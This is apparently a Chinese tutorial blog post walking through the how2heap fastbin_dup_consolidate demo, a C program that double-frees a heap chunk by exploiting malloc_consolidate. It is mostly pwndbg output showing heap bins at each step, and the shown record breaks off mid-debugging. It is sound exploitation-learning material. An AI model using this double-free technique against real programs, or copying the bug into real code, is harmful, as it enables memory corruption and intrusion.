从零开始学howtoheap:fastbins的double-free攻击实操2

 how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的double-free攻击

下面的程序展示了fastbins的double-free攻击,可以泄露出一块已经被分配的内存指针。fastbins 可以看成一个后进先出的栈,使用单链表来实现,通过fastbin->fd来遍历。由于free的过程会对free list做检查,我们不能连续两次free同一个chunk,所以这里在两次free 之间,增加了一次对其他chunk的free 过程,从而绕过了检查顺利执行,然后再malloc三次,就在同一个地址malloc了两次,也就有了两个指向同一块内存区域的指针。更具体地展示了上一个程序从零开始学howtoheap:理解fastbins的double-free攻击-CSDN博客所介绍的技巧,利用在large bin的分配中malloc_consolidate 机制绕过 fastbin对double free的检查,这个检查在 fastbin_dup中已经展示过了,只不过它利用的是在两次 free 中间插入一次对其它chunk的free

2.fastbin_dup_consolidate程序

这个程序展示了利用在large bin的分配中malloc_consolidate 机制绕过 fastbin对double free的检查,这个检查在 fastbin_dup中已经展示过了,只不过它利用的是在两次 free 中间插入一次对其它chunk的free。

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

int main() {
    void* p1 = malloc(0x10);
    strcpy(p1, "AAAAAAAA");
    void* p2 = malloc(0x10);
    strcpy(p2, "BBBBBBBB");
    fprintf(stderr, "申请两个 fastbin 范围内的 chunk: p1=%p p2=%p\n", p1, p2);
    fprintf(stderr, "先 free p1\n");
    free(p1);
    void* p3 = malloc(0x400);
    fprintf(stderr, "去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=%p\n", p3);
    fprintf(stderr, "因为 malloc_consolidate(), p1 会被放到 unsorted bin 中\n");
    free(p1);
    fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");
    void* p4 = malloc(0x10);
    strcpy(p4, "CCCCCCC");
    void* p5 = malloc(0x10);
    strcpy(p5, "DDDDDDDD");
    fprintf(stderr, "现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: %p %p\n", p4, p5);
}

 3.调试fastbin_dup_consolidate

3.1 获得可执行程序 

gcc -g fastbin_dup_consolidate.c -o fastbin_dup_consolidate

有个坑要注意一下,上面的指令要在pwndocker环境运行,在外面的环境运行gdb会报错 

──(holyeyes㉿kali2023)-[~]
└─$ sudo ./1run.sh     
[sudo] password for holyeyes: 
root@pwn_test1604:/ctf/work# ls
1  4  6.tar.gz  get-pip.py            seccomp-tools-master.zip
2  5  7         how2heap              wdb_2018_2nd_easyfmt
3  6  8         seccomp-tools-master
root@pwn_test1604:/ctf/work# cd how2heap/
root@pwn_test1604:/ctf/work/how2heap# ls
fastbin_dup              fastbin_dup_consolidate.c  first_fit    uaf
fastbin_dup.c            fastbin_dup_into_stack     first_fit1   uaf.c
fastbin_dup_consolidate  fastbin_dup_into_stack.c   first_fit.c
root@pwn_test1604:/ctf/work/how2heap# gdb ./fastbin_dup_consolidate
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./fastbin_dup_consolidate...Dwarf Error: wrong version in compilation unit header (is 5, should be 2, 3, or 4) [in module /ctf/work/how2heap/fastbin_dup_consolidate]
(no debugging symbols found)...done.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_consolidate 
/ctf/work/how2heap/fastbin_dup_consolidate: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by /ctf/work/how2heap/fastbin_dup_consolidate)
[Inferior 1 (process 20) exited with code 01]
pwndbg> quit
root@pwn_test1604:/ctf/work/how2heap# ls
fastbin_dup              fastbin_dup_consolidate.c  first_fit    uaf
fastbin_dup.c            fastbin_dup_into_stack     first_fit1   uaf.c
fastbin_dup_consolidate  fastbin_dup_into_stack.c   first_fit.c
root@pwn_test1604:/ctf/work/how2heap# gcc -g fastbin_dup_consolidate.c -o fastbin_dup_consolidate
root@pwn_test1604:/ctf/work/how2heap# gdb ./fastbin_dup_consolidate
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./fastbin_dup_consolidate...done.
pwndbg> 

3.2 第一次调试程序

调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

root@pwn_test1604:/ctf/work/how2heap# gdb ./fastbin_dup_consolidate
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./fastbin_dup_consolidate...done.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_consolidate 
申请两个 fastbin 范围内的 chunk: p1=0x602010 p2=0x602030
先 free p1
去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=0x602050
因为 malloc_consolidate(), p1 会被放到 unsorted bin 中
这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free
现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: 0x602010 0x602010
[Inferior 1 (process 33) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 首先分配两个fastbin范围内的chunk

设置断点 在第11行, 指令 b 11

pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_consolidate 

Breakpoint 1, main () at fastbin_dup_consolidate.c:11
11          fprintf(stderr, "申请两个 fastbin 范围内的 chunk: p1=%p p2=%p\n", p1, p2);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x602030 ◂— 'BBBBBBBB'
 RBX  0x0
 RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
 RDX  0x602030 ◂— 'BBBBBBBB'
 RDI  0x0
 RSI  0x4242424242424242 ('BBBBBBBB')
 R8   0x602000 ◂— 0x0
 R9   0xd
 R10  0x7ffff7dd1b78 (main_arena+88) —▸ 0x602040 ◂— 0x0
 R11  0x0
 R12  0x400550 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe580 ◂— 0x0
 RIP  0x400694 (main+78) ◂— mov    rax, qword ptr [rip + 0x2009c5]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400694 <main+78>     mov    rax, qword ptr [rip + 0x2009c5] <0x601060>
   0x40069b <main+85>     mov    rcx, qword ptr [rbp - 0x20]
   0x40069f <main+89>     mov    rdx, qword ptr [rbp - 0x28]
   0x4006a3 <main+93>     mov    esi, 0x400848
   0x4006a8 <main+98>     mov    rdi, rax
   0x4006ab <main+101>    mov    eax, 0
   0x4006b0 <main+106>    call   fprintf@plt <0x400510>
 
   0x4006b5 <main+111>    mov    rax, qword ptr [rip + 0x2009a4] <0x601060>
   0x4006bc <main+118>    mov    rcx, rax
   0x4006bf <main+121>    mov    edx, 0xc
   0x4006c4 <main+126>    mov    esi, 1
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_consolidate.c
    6 int main() {
    7     void* p1 = malloc(0x10);
    8     strcpy(p1, "AAAAAAAA");
    9     void* p2 = malloc(0x10);
   10     strcpy(p2, "BBBBBBBB");
 ► 11     fprintf(stderr, "申请两个 fastbin 范围内的 chunk: p1=%p p2=%p\n", p1, p2);
   12     fprintf(stderr, "先 free p1\n");
   13     free(p1);
   14     void* p3 = malloc(0x400);
   15     fprintf(stderr, "去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=%p\n", p3);
   16     fprintf(stderr, "因为 malloc_consolidate(), p1 会被放到 unsorted bin 中\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe580 ◂— 0x0
01:0008│      0x7fffffffe588 —▸ 0x602010 ◂— 'AAAAAAAA'
02:0010│      0x7fffffffe590 —▸ 0x602030 ◂— 'BBBBBBBB'
03:0018│      0x7fffffffe598 —▸ 0x400550 (_start) ◂— xor    ebp, ebp
04:0020│      0x7fffffffe5a0 —▸ 0x7fffffffe690 ◂— 0x1
05:0028│      0x7fffffffe5a8 ◂— 0x0
06:0030│ rbp  0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400694 main+78
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_consolidate.c:11
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x20                 Used                None              None
0x602020            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x602000
0x602000:       0x0000000000000000      0x0000000000000021
0x602010:       0x4141414141414141      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000021
0x602030:       0x4242424242424242      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000020fc1
0x602050:       0x0000000000000000      0x0000000000000000
0x602060:       0x0000000000000000      0x0000000000000000
0x602070:       0x0000000000000000      0x0000000000000000
0x602080:       0x0000000000000000      0x0000000000000000
0x602090:       0x0000000000000000      0x0000000000000000
pwndbg> 

 3.3.2 释放掉p1,则空闲的chunk进入fastbin

设置断点 在第14行, 指令 b 14

pwndbg> n

Breakpoint 6, main () at fastbin_dup_consolidate.c:14
14          void* p3 = malloc(0x400);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7ffff7b04200 (__openat_2+16) ◂— cmp    eax, 0x410000 /* '=' */
 RDX  0x0
 RDI  0xffffffff
 RSI  0x7ffff7dd1b28 (main_arena+8) —▸ 0x602000 ◂— 0x0
 R8   0x602010 ◂— 0x0
 R9   0x7ffff7dd2500 (_nl_global_locale+224) —▸ 0x7ffff7b9b997 (_nl_C_name) ◂— add    byte ptr [r15 + 0x5f], bl /* 'C' */
 R10  0x8b8
 R11  0x7ffff7a914f0 (free) ◂— push   r13
 R12  0x400550 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe580 ◂— 0x0
 RIP  0x4006df (main+153) ◂— mov    edi, 0x400
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x4006c9 <main+131>    mov    edi, 0x40087e
   0x4006ce <main+136>    call   fwrite@plt <0x400530>
 
   0x4006d3 <main+141>    mov    rax, qword ptr [rbp - 0x28]
   0x4006d7 <main+145>    mov    rdi, rax
   0x4006da <main+148>    call   free@plt <0x4004f0>
 
 ► 0x4006df <main+153>    mov    edi, 0x400
   0x4006e4 <main+158>    call   malloc@plt <0x400520>
 
   0x4006e9 <main+163>    mov    qword ptr [rbp - 0x18], rax
   0x4006ed <main+167>    mov    rax, qword ptr [rip + 0x20096c] <0x601060>
   0x4006f4 <main+174>    mov    rdx, qword ptr [rbp - 0x18]
   0x4006f8 <main+178>    mov    esi, 0x400890
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_consolidate.c
    9     void* p2 = malloc(0x10);
   10     strcpy(p2, "BBBBBBBB");
   11     fprintf(stderr, "申请两个 fastbin 范围内的 chunk: p1=%p p2=%p\n", p1, p2);
   12     fprintf(stderr, "先 free p1\n");
   13     free(p1);
 ► 14     void* p3 = malloc(0x400);
   15     fprintf(stderr, "去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=%p\n", p3);
   16     fprintf(stderr, "因为 malloc_consolidate(), p1 会被放到 unsorted bin 中\n");
   17     free(p1);
   18     fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");
   19     void* p4 = malloc(0x10);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe580 ◂— 0x0
01:0008│      0x7fffffffe588 —▸ 0x602010 ◂— 0x0
02:0010│      0x7fffffffe590 —▸ 0x602030 ◂— 'BBBBBBBB'
03:0018│      0x7fffffffe598 —▸ 0x400550 (_start) ◂— xor    ebp, ebp
04:0020│      0x7fffffffe5a0 —▸ 0x7fffffffe690 ◂— 0x1
05:0028│      0x7fffffffe5a8 ◂— 0x0
06:0030│ rbp  0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           4006df main+153
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_consolidate.c:14
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x20                 Freed                0x0              None
0x602020            0x0                 0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x602000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

3.3.3 再次释放 p1,必然触发 double free 异常,然而,如果此时分配一个 large chunk,

设置断点 在第15行, 指令 b 15

可以看到 fastbins 中的 chunk 已经不见了,反而出现在了 small bins 中,并且 chunk p2 的 prev_size 和 size 字段都被修改。

​ 看一下large chunk的分配过程:在分配large chunk的时候,首先会根据chunk的大小来获取对应的 large bin的index,然后判断fast bins中有没有chunk,如果有就调用 malloc_consolidate()合并fast bins中的chunk,然后放到unsorted bin 中。unsorted bin中的chunk 会按照大小放到small或large bins中

pwndbg> n
15          fprintf(stderr, "去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=%p\n", p3);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x602050 ◂— 0x0
 RBX  0x0
 RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
 RDX  0x602050 ◂— 0x0
 RDI  0x2
 RSI  0x602450 ◂— 0x0
 R8   0x7ffff7dd1b88 (main_arena+104) —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602450 ◂— 0x0
 R9   0x0
 R10  0x7ffff7dd1b78 (main_arena+88) —▸ 0x602450 ◂— 0x0
 R11  0x7ffff7dd1b78 (main_arena+88) —▸ 0x602450 ◂— 0x0
 R12  0x400550 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe580 ◂— 0x0
 RIP  0x4006ed (main+167) ◂— mov    rax, qword ptr [rip + 0x20096c]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x4006d7 <main+145>    mov    rdi, rax
   0x4006da <main+148>    call   free@plt <0x4004f0>
 
   0x4006df <main+153>    mov    edi, 0x400
   0x4006e4 <main+158>    call   malloc@plt <0x400520>
 
   0x4006e9 <main+163>    mov    qword ptr [rbp - 0x18], rax
 ► 0x4006ed <main+167>    mov    rax, qword ptr [rip + 0x20096c] <0x601060>
   0x4006f4 <main+174>    mov    rdx, qword ptr [rbp - 0x18]
   0x4006f8 <main+178>    mov    esi, 0x400890
   0x4006fd <main+183>    mov    rdi, rax
   0x400700 <main+186>    mov    eax, 0
   0x400705 <main+191>    call   fprintf@plt <0x400510>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_consolidate.c
   10     strcpy(p2, "BBBBBBBB");
   11     fprintf(stderr, "申请两个 fastbin 范围内的 chunk: p1=%p p2=%p\n", p1, p2);
   12     fprintf(stderr, "先 free p1\n");
   13     free(p1);
   14     void* p3 = malloc(0x400);
 ► 15     fprintf(stderr, "去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=%p\n", p3);
   16     fprintf(stderr, "因为 malloc_consolidate(), p1 会被放到 unsorted bin 中\n");
   17     free(p1);
   18     fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");
   19     void* p4 = malloc(0x10);
   20     strcpy(p4, "CCCCCCC");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe580 ◂— 0x0
01:0008│      0x7fffffffe588 —▸ 0x602010 —▸ 0x7ffff7dd1b88 (main_arena+104) —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602450 ◂— ...
02:0010│      0x7fffffffe590 —▸ 0x602030 ◂— 'BBBBBBBB'
03:0018│      0x7fffffffe598 —▸ 0x602050 ◂— 0x0
04:0020│      0x7fffffffe5a0 —▸ 0x7fffffffe690 ◂— 0x1
05:0028│      0x7fffffffe5a8 ◂— 0x0
06:0030│ rbp  0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           4006ed main+167
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x20: 0x602000 —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— 0x602000
largebins
empty
pwndbg> 

3.3.4 p1已经不再fastbin的顶部,所以可以再次free

设置断点 在第18行, 指令 b 18

那么p1再次被free之后既在small bins又在fast bins。

pwndbg> c
Continuing.
去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=0x602050
因为 malloc_consolidate(), p1 会被放到 unsorted bin 中

Breakpoint 2, main () at fastbin_dup_consolidate.c:18
18          fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7ffff7b04200 (__openat_2+16) ◂— cmp    eax, 0x410000 /* '=' */
 RDX  0x0
 RDI  0xffffffff
 RSI  0x7ffff7dd1b28 (main_arena+8) —▸ 0x602000 ◂— 0x0
 R8   0x602010 ◂— 0x0
 R9   0x7ffff7dd2500 (_nl_global_locale+224) —▸ 0x7ffff7b9b997 (_nl_C_name) ◂— add    byte ptr [r15 + 0x5f], bl /* 'C' */
 R10  0x1
 R11  0x246
 R12  0x400550 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe580 ◂— 0x0
 RIP  0x400734 (main+238) ◂— mov    rax, qword ptr [rip + 0x200925]
─────────────────────────────────[ DISASM ]──────────────────────────────────
 ► 0x400734 <main+238>    mov    rax, qword ptr [rip + 0x200925] <0x601060>
   0x40073b <main+245>    mov    rcx, rax
   0x40073e <main+248>    mov    edx, 0x5f
   0x400743 <main+253>    mov    esi, 1
   0x400748 <main+258>    mov    edi, 0x400920
   0x40074d <main+263>    call   fwrite@plt <0x400530>
 
   0x400752 <main+268>    mov    edi, 0x10
   0x400757 <main+273>    call   malloc@plt <0x400520>
 
   0x40075c <main+278>    mov    qword ptr [rbp - 0x10], rax
   0x400760 <main+282>    mov    rax, qword ptr [rbp - 0x10]
   0x400764 <main+286>    movabs rcx, 0x43434343434343
──────────────────────────────[ SOURCE (CODE) ]──────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_consolidate.c
   13     free(p1);
   14     void* p3 = malloc(0x400);
   15     fprintf(stderr, "去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=%p\n", p3);                                                        
   16     fprintf(stderr, "因为 malloc_consolidate(), p1 会被放到 unsorted bin 中\n");                                                                    
   17     free(p1);
 ► 18     fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");                                                
   19     void* p4 = malloc(0x10);
   20     strcpy(p4, "CCCCCCC");
   21     void* p5 = malloc(0x10);
   22     strcpy(p5, "DDDDDDDD");
   23     fprintf(stderr, "现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: %p %p\n", p4, p5);                            
──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ rsp  0x7fffffffe580 ◂— 0x0
01:0008│      0x7fffffffe588 —▸ 0x602010 ◂— 0x0
02:0010│      0x7fffffffe590 —▸ 0x602030 ◂— 'BBBBBBBB'
03:0018│      0x7fffffffe598 —▸ 0x602050 ◂— 0x0
04:0020│      0x7fffffffe5a0 —▸ 0x7fffffffe690 ◂— 0x1
05:0028│      0x7fffffffe5a8 ◂— 0x0
06:0030│ rbp  0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax                                                                 
────────────────────────────────[ BACKTRACE ]────────────────────────────────
 ► f 0           400734 main+238
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_consolidate.c:18
pwndbg> bin
fastbins
0x20: 0x602000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x20 [corrupted]
FD: 0x602000 ◂— 0x0
BK: 0x602000 —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— 0x602000
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                                                     
0x602000            0x0                 0x20                 Freed                0x0    0x7ffff7dd1b88
0x602020            0x20                0x20                 Used                None              None
0x602040            0x0                 0x410                Used                None              None
pwndbg> x/20gx 0x602000 
0x602000:       0x0000000000000000      0x0000000000000021                                                                                                                                                         
0x602010:       0x0000000000000000      0x00007ffff7dd1b88                                                                                                                                                         
0x602020:       0x0000000000000020      0x0000000000000020                                                                                                                                                         
0x602030:       0x4242424242424242      0x0000000000000000                                                                                                                                                         
0x602040:       0x0000000000000000      0x0000000000000411                                                                                                                                                         
0x602050:       0x0000000000000000      0x0000000000000000                                                                                                                                                         
0x602060:       0x0000000000000000      0x0000000000000000                                                                                                                                                         
0x602070:       0x0000000000000000      0x0000000000000000                                                                                                                                                         
0x602080:       0x0000000000000000      0x0000000000000000                                                                                                                                                         
0x602090:       0x0000000000000000      0x0000000000000000   

3.3.5 再一次 malloc 之后会从 fast bins 中分配

设置断点 在第21行, 指令 b 21

void *p4 = malloc(0x10);

strcpy(p4, "CCCCCCC");

​ 可以看到堆块被写入了CCCCCCC。

pwndbg> b 21
Breakpoint 4 at 0x400771: file fastbin_dup_consolidate.c, line 21.                                                                                                                                                 
pwndbg> c                                                                                                                                                                                                          
Continuing.                                                                                                                                                                                                        
这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free                                                                                                                                         
                                                                                                                                                                                                                   
Breakpoint 4, main () at fastbin_dup_consolidate.c:21                                                                                                                                                              
21          void* p5 = malloc(0x10);                                                                                                                                                                               
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA                                                                                                                                                                  
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x602010 ◂— 0x43434343434343 /* 'CCCCCCC' */                                                                                                                                                                 
 RBX  0x0                                                                                                                                                                                                          
 RCX  0x43434343434343                                                                                                                                                                                             
 RDX  0x602010 ◂— 0x43434343434343 /* 'CCCCCCC' */                                                                                                                                                                 
 RDI  0x0
 RSI  0x7ffff7dd1b20 (main_arena) ◂— 0x0
 R8   0x0
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x400550 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe580 ◂— 0x0
 RIP  0x400771 (main+299) ◂— mov    edi, 0x10
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400771 <main+299>    mov    edi, 0x10
   0x400776 <main+304>    call   malloc@plt <0x400520>
 
   0x40077b <main+309>    mov    qword ptr [rbp - 8], rax
   0x40077f <main+313>    mov    rax, qword ptr [rbp - 8]
   0x400783 <main+317>    movabs rsi, 0x4444444444444444
   0x40078d <main+327>    mov    qword ptr [rax], rsi
   0x400790 <main+330>    mov    byte ptr [rax + 8], 0
   0x400794 <main+334>    mov    rax, qword ptr [rip + 0x2008c5] <0x601060>
   0x40079b <main+341>    mov    rcx, qword ptr [rbp - 8]
   0x40079f <main+345>    mov    rdx, qword ptr [rbp - 0x10]
   0x4007a3 <main+349>    mov    esi, 0x400980
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_consolidate.c
   16     fprintf(stderr, "因为 malloc_consolidate(), p1 会被放到 unsorted bin 中\n");
   17     free(p1);
   18     fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");
   19     void* p4 = malloc(0x10);
   20     strcpy(p4, "CCCCCCC");
 ► 21     void* p5 = malloc(0x10);
   22     strcpy(p5, "DDDDDDDD");
   23     fprintf(stderr, "现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: %p %p\n", p4, p5);
   24 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe580 ◂— 0x0
01:0008│      0x7fffffffe588 —▸ 0x602010 ◂— 0x43434343434343 /* 'CCCCCCC' */
02:0010│      0x7fffffffe590 —▸ 0x602030 ◂— 'BBBBBBBB'
03:0018│      0x7fffffffe598 —▸ 0x602050 ◂— 0x0
04:0020│      0x7fffffffe5a0 —▸ 0x602010 ◂— 0x43434343434343 /* 'CCCCCCC' */
05:0028│      0x7fffffffe5a8 ◂— 0x0
